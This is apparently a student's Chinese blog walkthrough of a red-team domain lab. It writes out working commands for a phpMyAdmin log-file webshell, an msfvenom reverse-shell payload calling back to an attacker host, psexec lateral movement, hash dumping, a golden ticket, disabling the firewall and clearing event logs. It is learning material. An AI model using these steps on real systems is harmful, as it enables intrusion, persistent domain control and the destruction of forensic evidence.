当前位置: 首页 > news >正文

内网攻防——红日靶场(一)

在学习内网的过程中有着诸多不了解的内容。希望能借下面的靶场来步入内网的大门。

一、准备阶段

首先准备好我们的虚拟机

 之前有学过关于:工作组、域、DC的概念。

了解一下此时的网络拓扑图

1.设置网络VMnet1和Vmnet8

将VMnet1作为内网,VMnet8作为外网。其中,VMnet1的子网地址必须是 192.168.52.0。否则后面win7的web服务无法开启。

2.设置win7 web服务器

从网络拓扑图可知,需要模拟内网和外网两个网段,win7虚拟机相当于网关服务器,需要两张网卡。比如:网卡1连接内网:192.168..... 网卡2连接外网 10.0.....

接下来ping一下,看一下内网和外网是否成功设置好了

首先ping一下主机,能ping通就说明连上了外网。

再ping一下DC域控,说明成功连上了内网

3.配置域内主机

将win2003 和 win2008 都设置为自定义的Vmnet1

各个虚拟机的IP地址如下:

win2003 192.168.52.141

win7  内网网卡:192.168.52.143 外网网卡: 192.158.57.134

win2008: 192.168.52.138

4.开启win7上的web服务

输入win7的外网ip地址

二、外网探测

采用kali作为攻击机

已知此时win7的外网ip地址为 : 192.168.57.134

1.端口扫描

┌──(root㉿kali)-[~]
└─# nmap -sV -p- 192.168.57.134
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-10 20:10 CST
Nmap scan report for 192.168.57.134
Host is up (0.0015s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.23 ((Win32) OpenSSL/1.0.2j PHP/5.4.45)

成功发现80端口。可以先访问一下网页

2.网页探测

直接扫一下目录

成功发现后台

搜索弱口令

那就猜用户名为root,接下来可以进行密码爆破或者继续试。这里的密码是root

3.getshell

成功进来,现在的思路可以是:写入木马来getshell。在之前的学习中,登录了phpmyadmin之后是很容易getshell的。这里我再回想一下,是通过日志写入的方式

尝试开启 general_log ,并修改这里的日志文件路径,让我们可以直接访问到

set global general_log="on";
set global general_log_file="C:/phpstudy/WWW/shell.php";

成功改好,此时向日志中写入一句话木马

这个时候如果我们访问日志文件就能够成功触发,先访问日志文件,再开启蚁剑

成功进入!

以前的学的渗透测试只能支持我做到这一步,下面的知识才是真正需要我摸索学习。

三、内网渗透

1.上线win7

cs上线方法

这里尝试用CobaltStrike来继续(然后也会尝试一下msf),顺带一起复习一下之前学过的内容

首先在kali上运行服务端,再到windows上运行客户端

先搞个监听器,然后点击

可以得到执行文件

 

将其上传到蚁剑当中

然后执行木马:

就可以成功上线了。

msf上线方法

下面是使用msf上线的方式:

使用msfvenom 生成可执行程序

┌──(root㉿kali)-[~/msf]
└─# msfvenom -p windows/meterpreter_reverse_tcp LHOST=192.168.57.128 LPORT=5555 -f exe -o shell.exe

将得到的shell.exe 上传到蚁剑中

然后开启msfconsole,使用

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set Lhost 0.0.0.0
run

等到run开始之后,再到蚁剑中运行文件,就能成功上线了

2.权限提升

右键我们上线的机器,点击权限提升

等待一会儿之后就发现权限成功提升了!至于权限提升是怎样实现的,这里先不过多了解(后续的学习任务中会学习到!)

 3.内网信息收集

在这步之前可以先关闭一下win7的防火墙,防止后面出错

 beacon> shell netsh advfirewall set allprofiles state off

1.判断是否存在域

[03/13 19:00:57] beacon> shell ipconfig /all
[03/13 19:00:57] [*] Tasked beacon to run: ipconfig /all
[03/13 19:01:44] [+] host called home, sent: 44 bytes
[03/13 19:01:44] [+] received output:

Windows IP 配置

   主机名  . . . . . . . . . . . . . : stu1
   主 DNS 后缀 . . . . . . . . . . . : god.org
   节点类型  . . . . . . . . . . . . : 混合
   IP 路由已启用 . . . . . . . . . . : 否
   WINS 代理已启用 . . . . . . . . . : 否
   DNS 后缀搜索列表  . . . . . . . . : god.org
                                       localdomain

发现该win7是在 god.org下

2.查看存在多少个域

[03/13 19:02:41] beacon> shell net view /domain
[03/13 19:02:41] [*] Tasked beacon to run: net view /domain
[03/13 19:02:44] [+] host called home, sent: 47 bytes
[03/13 19:02:46] [+] received output:
Domain

-------------------------------------------------------------------------------
GOD                  
命令成功完成。

发现只有一个域,为 GOD

3.查看域内所有主机

[03/13 19:03:32] beacon> shell net view
[03/13 19:03:32] [*] Tasked beacon to run: net view
[03/13 19:03:46] [+] host called home, sent: 39 bytes
[03/13 19:03:47] [+] received output:
服务器名称            注解

-------------------------------------------------------------------------------
\\OWA                                                                          
\\ROOT-TVI862UBEH                                                              
\\STU1                                                                         
命令成功完成。

发现有: owa root-tvi862ubeh stu1(win7)

4.查看各个主机对应的IP

通过ping的方式可以得到:

[03/13 19:06:29] beacon> shell ping owa.god.org
[03/13 19:06:29] [*] Tasked beacon to run: ping owa.god.org
[03/13 19:06:47] [+] host called home, sent: 47 bytes
[03/13 19:06:50] [+] received output:

正在 Ping owa.god.org [192.168.52.138] 具有 32 字节的数据:
来自 192.168.52.138 的回复: 字节=32 时间=1ms TTL=128
来自 192.168.52.138 的回复: 字节=32 时间<1ms TTL=128
来自 192.168.52.138 的回复: 字节=32 时间<1ms TTL=128
来自 192.168.52.138 的回复: 字节=32 时间=1ms TTL=128

也可以直接运行 net view

[03/13 19:31:05] beacon> net view
[03/13 19:31:05] [*] Tasked beacon to run net view
[03/13 19:31:55] [+] host called home, sent: 105057 bytes
[03/13 19:31:57] [+] received output:
List of hosts:

 Server Name             IP Address                       Platform  Version  Type   Comment
 -----------             ----------                       --------  -------  ----   -------
 OWA                     192.168.52.138                   500       6.1      PDC    
 ROOT-TVI862UBEH         192.168.52.141                   500       5.2             
 STU1   

可以得到 owa 对应的IP地址

owa 192.168.52.138

root-tvi862ubeh 192.168.52.141

stu1 192.168.52.143

5.扫描其他主机端口

个人感觉在cs中操作更为简单(其实是msf一开始没成功,一直显示端口处于 filtered 状态,而且还要设置代理转发,这里先尝试cs)

 这里只扫描几个常见的端口

[03/13 19:14:33] beacon> portscan 192.168.52.0-192.168.52.255 22,80,135,443,445,3389 arp 1024
[03/13 19:14:33] [*] Tasked beacon to scan ports 22,80,135,443,445,3389 on 192.168.52.0-192.168.52.255
[03/13 19:14:54] [+] host called home, sent: 93797 bytes
[03/13 19:15:55] [+] received output:
(ARP) Target '192.168.52.143' is alive. 00-0C-29-60-B5-7F
(ARP) Target '192.168.52.141' is alive. 00-0C-29-E2-B3-53
(ARP) Target '192.168.52.138' is alive. 00-0C-29-C1-2E-6F

[03/13 19:16:55] [+] received output:
(ARP) Target '192.168.52.254' is alive. 00-50-56-E8-E1-21
192.168.52.143:135
192.168.52.143:80
192.168.52.141:135
192.168.52.138:80
192.168.52.138:135
192.168.52.138:445 (platform: 500 version: 6.1 name: OWA domain: GOD)
192.168.52.141:445 (platform: 500 version: 5.2 name: ROOT-TVI862UBEH domain: GOD)
192.168.52.143:445 (platform: 500 version: 6.1 name: STU1 domain: GOD)
Scanner module is complete

可以发现基本都开了445端口

445端口是TCP/IP协议栈中的标准端口,专门用于SMB的通信。

历史漏洞:永恒之蓝:利用SMBv1/v2的漏洞远程执行代码。

若目标主机在内网中,攻击者可利用其开放的445端口作为跳板,访问同一子网的其他主机

这里还应该看一下其他主机的操作系统版本的,我是尝试使用了 “神龙拉东” 但是貌似没什么反应。以后继续用到的话再来解决。

4.内网横向

已知开放了445端口,尝试创建SMB监听隧道

1.SMB监听隧道的核心原理是利用SMB协议在目标主机上建立隐蔽的通信通道,绕过传统防火墙和入侵检测系统的监控。

2.SMB协议基础:文件共享,域名解析等,默认通过445端口通信

1.创建SMB监听器

 2.切换攻击列表

右键

 psexec:是用于横向移动的核心工具之一。攻击者可以通过跳板机向目标主机发送命令,目标主机执行后,将结果返回给攻击者。但我认为这并不算上线,毕竟没有进行持久的连接,只是利用两个机器间的一些信任关系进行通信

 

直接点击Administrator信息就自动补全了,然后下面的sessions也要填

这样就横向成功了! 另外一个机器这里就不展示了。

5.权限维持

1.抓取哈希和明文密码

抓取哈希的权限维持作用:
(1)Pass-the-Hash(PTH攻击)

利用用户密码的哈希值(如 NTLM Hash)直接登录系统,绕过密码验证

(2)横向移动与提权

在域控制器中抓取 krbtgt Hash,可伪造任意用户票据来访问整个域

这里直接利用域控owa来抓取就行了

 2.黄金票据配置

 

User :随便一个用户名

Domain:域名

Domain SID:域ID

Krbtgt Hash

这里的 Domain SID可以使用下面的命令来获得

[03/13 21:02:36] beacon> shell whoami /user
[03/13 21:02:36] [*] Tasked beacon to run: whoami /user
[03/13 21:03:17] [+] host called home, sent: 43 bytes
[03/13 21:03:18] [+] received output:

用户信息
----------------

用户名              SID     
=================== ========
nt authority\system S-1-5-18

填好之后 build

这样一来,我们就成功通过黄金票据在域内建立了持久化认证,能够以 hacker 身份无密码访问资源。

四、痕迹清除

在域控上可以看到安全日志

现在尝试将日志信息清除

shell wevtutil cl security // 清除安全日志
shell wevtutil cl system // 清理系统日志
shell wevtutil cl application //清理应用程序日志
shell wevtutil cl "windows powershell" // 清理powershell日志

五、一些其他的点

1.使用msf

首先是在我们成功上线win7之后的操作,可能后面还是做不出来,但能了解一些是一些了

1.进程迁移

目的技术实现攻击场景
1. 隐蔽恶意活动注入DLL到合法进程(如svchost.exe绕过杀毒软件的静态/动态检测
2. 横向移动将恶意进程迁移到其他主机(如psexec扩大攻击范围,访问更多内网资源
3. 持久化控制注入持久化后门(如Covenant)到系统进程实现长期驻留,抵抗重启或杀软清除
4. 绕过安全边界利用合法协议(如HTTP/SMB)迁移进程伪装成正常流量,规避防火墙和IDS检测
5. 提升权限通过高权限进程(如winlogon.exe)提权绕过用户权限限制,直接访问敏感系统组件

 首先运行 ps ,可以找到下面这个进程

记下PID,执行:

meterpreter > migrate 3708
[*] Migrating from 5428 to 3708...
[*] Migration completed successfully.

就显示进程迁移成功了。信息收集和cs感觉差不多

 2.添加路由和socks代理

必须是先添加路由再挂代理,这里根据我们之前的内网信息收集来进行

meterpreter > run autoroute -s 192.168.52.0/24
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
[*] Adding a route to 192.168.52.0/255.255.255.0...
[+] Added route to 192.168.52.0/255.255.255.0 via 192.168.57.134
[*] Use the -p option to list all active routes

设置路由,强制内网内的目标主机上的特定流量通过跳板机中转,最终由跳板机将数据传回外网的kali机。

但一开始这里我并没有理解,我后来复盘了一下自己的想法,发现主要有下面两个疑问:

(1)因为我一直认为:kali作为攻击机,既然无法访问到内网,想必都要借助跳板机来访问内网主机,怎么会是: 目标主机 --> 跳板机 --> kali 这样的路由转发顺序呢?

答:就算我是通过 kali-->跳板机-->目标主机 这样的顺序来访问目标主机,由于目标主机的路由表未修改,流量会按照原始路由表路径发送,会导致跳板机无法截获流量。只有设置了这样的路由规则,我们就可以通过跳板机在目标主机上执行指令,然后目标主机会将流量专门发送到跳板机,从而被kali控制。

(2)我拿下的只是跳板机,为什么我可以设置目标主机的路由规则呢?

答:路由表位于目标主机的内存中,攻击者可以通过跳板机向目标主机发送指令,诱使或强制其修改路由表。但如果目标主机强制要求路由规则必须通过本地管理员权限设置的话,就得依靠:漏洞、社会工程学等手段来修改路由了。

为什么设置了路由还需要挂代理?(后面会学习一种只用路由来扫描的方法,但挂代理会更保险一些)

设置路由后的图:
kali -> 跳板机-> 目标主机->跳板机->kali

设置代理后的图:

kali ->跳板机:1080(socks代理)->目标主机->跳板机:1080(socks代理)->kali

这样一来代理服务器(跳板机:1080)会修改请求的源IP(kali的IP)为跳板机的公网IP,从而隐藏kali的真实身份

 看看配置代理需要用到哪些参数

msf6 auxiliary(server/socks_proxy) > search socks

Matching Modules
================

   #  Name                                     Disclosure Date  Rank    Check  Description
   -  ----                                     ---------------  ----    -----  -----------
   0  auxiliary/server/socks_proxy             .                normal  No     SOCKS Proxy Server
   1  auxiliary/server/socks_unc               .                normal  No     SOCKS Proxy UNC Path Redirection
   2  auxiliary/scanner/http/sockso_traversal  2012-03-14       normal  No     Sockso Music Host Server 1.5 Directory Traversal


Interact with a module by name or index. For example info 2, use 2 or use auxiliary/scanner/http/sockso_traversal

然后use 0

msf6 auxiliary(server/socks_proxy) > options

Module options (auxiliary/server/socks_proxy):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must
                                        be an address on the local machine or 0.0.0.0 to listen on
                                        all addresses.
   SRVPORT  1080             yes       The port to listen on
   VERSION  5                yes       The SOCKS version to use (Accepted: 4a, 5)


   When VERSION is 5:

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD                   no        Proxy password for SOCKS5 listener
   USERNAME                   no        Proxy username for SOCKS5 listener


Auxiliary action:

   Name   Description
   ----   -----------
   Proxy  Run a SOCKS proxy server



View the full module info with the info, or info -d command.

发现这里有:SRVHOST SRVPORT

SRVHOST 指定代理服务器(socks服务)的监听地址和端口。

如果是 0.0.0.0 的话,表示代理服务器监听跳板机的所有接口,但内网中的其他主机是可以访问该代理服务的。

如果是 127.0.0.1 的话,只有本地机器才能访问到,内网中的其他机器是访问不到的。

这里我们设置127.0.0.1 或者 0.0.0.0 都可以,都能访问到,但是只让这条通道只让 kali 跳板机 访问感觉更好一些

然后run

然后由于要使用kali中的nmap等工具,需要配置 /etc/proxychains4.conf 配置的内容和上面options的内容一样

然后是使用nmap,nmap这里也搞了我很久,我尝试的命令主要有两条

proxychains nmap -sT -Pn  -p 445 192.168.52.138 (可以访问)
proxychains nmap -sV -Pn  -p 445 192.168.52.138 (无法访问)

(1)-sT 的兼容性更高。代理服务器只需转发原始TCP流量,目标主机无法区分攻击源是kali还是代理服务

(2)-sV 版本检测会发送一系列完整的应用层协议请求(SMB,HTTP等)这样就会触发目标主机的防火墙规则!导致455端口显示在 filtered 状态!

这样就好了

如果配置隧道还是不行的话,这里只进行端口扫描试试?

msf6 auxiliary(server/socks_proxy) > use portscan/tcp

Matching Modules
================

   #  Name                            Disclosure Date  Rank    Check  Description
   -  ----                            ---------------  ----    -----  -----------
   0  auxiliary/scanner/portscan/tcp  .                normal  No     TCP Port Scanner


Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/portscan/tcp

[*] Using auxiliary/scanner/portscan/tcp

msf6 auxiliary(scanner/portscan/tcp) > options

Module options (auxiliary/scanner/portscan/tcp):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   CONCURRENCY  10               yes       The number of concurrent ports to check per host
   DELAY        0                yes       The delay between connections, per thread, in milliseconds
   JITTER       0                yes       The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.
   PORTS        1-10000          yes       Ports to scan (e.g. 22-25,80,110-900)
   RHOSTS                        yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-m
                                           etasploit.html
   THREADS      1                yes       The number of concurrent threads (max one per host)
   TIMEOUT      1000             yes       The socket connect timeout in milliseconds


View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/portscan/tcp) > set PORTS 445
PORTS => 445

msf6 auxiliary(scanner/portscan/tcp) > set RHOSTS 192.168.52.138
RHOSTS => 192.168.52.138
msf6 auxiliary(scanner/portscan/tcp) > run
[+] 192.168.52.138:       - 192.168.52.138:445 - TCP OPEN
[*] 192.168.52.138:       - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

同样也可以发现445端口是打开的

3.进行ms17-010攻击

先来扫描一下,看看能不能进行ms17-010攻击

msf6 auxiliary(scanner/portscan/tcp) > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(scanner/smb/smb_ms17_010) > options

Module options (auxiliary/scanner/smb/smb_ms17_010):

   Name         Current Setting                        Required  Description
   ----         ---------------                        --------  -----------
   CHECK_ARCH   true                                   no        Check for architecture on vulnerable hosts
   CHECK_DOPU   true                                   no        Check for DOUBLEPULSAR on vulnerable hosts
   CHECK_PIPE   false                                  no        Check for named pipe on vulnerable hosts
   NAMED_PIPES  /usr/share/metasploit-framework/data/  yes       List of named pipes to check
                wordlists/named_pipes.txt
   RHOSTS                                              yes       The target host(s), see https://docs.metasploit.com/docs/using-met
                                                                 asploit/basics/using-metasploit.html
   RPORT        445                                    yes       The SMB service port (TCP)
   SMBDomain    .                                      no        The Windows domain to use for authentication
   SMBPass                                             no        The password for the specified username
   SMBUser                                             no        The username to authenticate as
   THREADS      1                                      yes       The number of concurrent threads (max one per host)


View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS 192.168.52.138
RHOSTS => 192.168.52.138
msf6 auxiliary(scanner/smb/smb_ms17_010) > run
[+] 192.168.52.138:445    - Host is likely VULNERABLE to MS17-010! - Windows Server 2008 R2 Datacenter 7601 Service Pack 1 x64 (64-bit)
[*] 192.168.52.138:445    - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

显示漏洞应该是存在的,但不知道能不能成功,结果是没有成功。。。

后面发现还是需要 msf 和 cs一起使用才更有效果一些,那msf板块就先到这了。

六、总结

首先,如果有不正确的地方,感谢大家指正!

学校的课程也刚开始学习计网,本人对于以下几点还是需要学习:

(1)进程注入的原理

(2)如何实现横向

(3)路由与代理

由于这篇拖太久了,中途遇到了很多问题,导致整篇下来思路有些乱糟糟的,相信之后熟悉了内网渗透了之后会好很多。对于cs和msf工具的使用还得继续学习,多发现一些自己不懂的问题

相关文章:

  • 织梦dedecms管理员密码重置工具下载
  • 深度学习框架PyTorch——从入门到精通(4)数据转换
  • 深入探讨TK矩阵系统:创新的TikTok运营工具
  • Redis 三主三从集群部署的完整方案
  • 华为营销流程落地方案:MTC=MTL+LTC
  • ETL中的实用功能以及数据集成方式
  • go语言中切片的长度和容量详解
  • opencv测量线距算法以及深入理解轮廓、采样点与 `pointPolygonTest` 及其在测量线距中的应用
  • Qt 中 isHidden 和 isVisible 的区别与使用
  • Spring 导入 XML 配置文件:@ImportResource
  • 力扣Hot100——560. 和为 K 的子数组
  • iwebsec-SQL数字型注入
  • 基于WebRTC的嵌入式音视频通话SDK:EasyRTC跨平台兼容性技术架构实时通信的底层实现
  • kotlin中的数据转换
  • Qt 通过MSVC编译运行项目
  • numpy学习笔记1:zeros = np.zeros((3, 3)) 详解
  • 脚本一键式启动Nginx、Mysql、Redis
  • C语言每日一练——day_11
  • 性能测试之grafana展示jmeter测试指标与主机监控
  • DApp用户激励机制设计:从代币经济到行为心理学的深度解构
  • 陕西省通报6起违反八项规定典型问题,省卫健委原主任刘宝琴违规收受礼品礼金
  • 马上评|什么才是地方文旅宣传的正确姿势
  • 是否进行了及时有效处置?伤者情况如何?辽阳市相关负责人就饭店火灾事故答问
  • 新希望一季度归母净利润4.45亿,上年同期为-19.34亿
  • 今年一季度全国城镇新增就业308万人,就业形势保持总体稳定
  • 解放日报头版:人民城市共建共享展新卷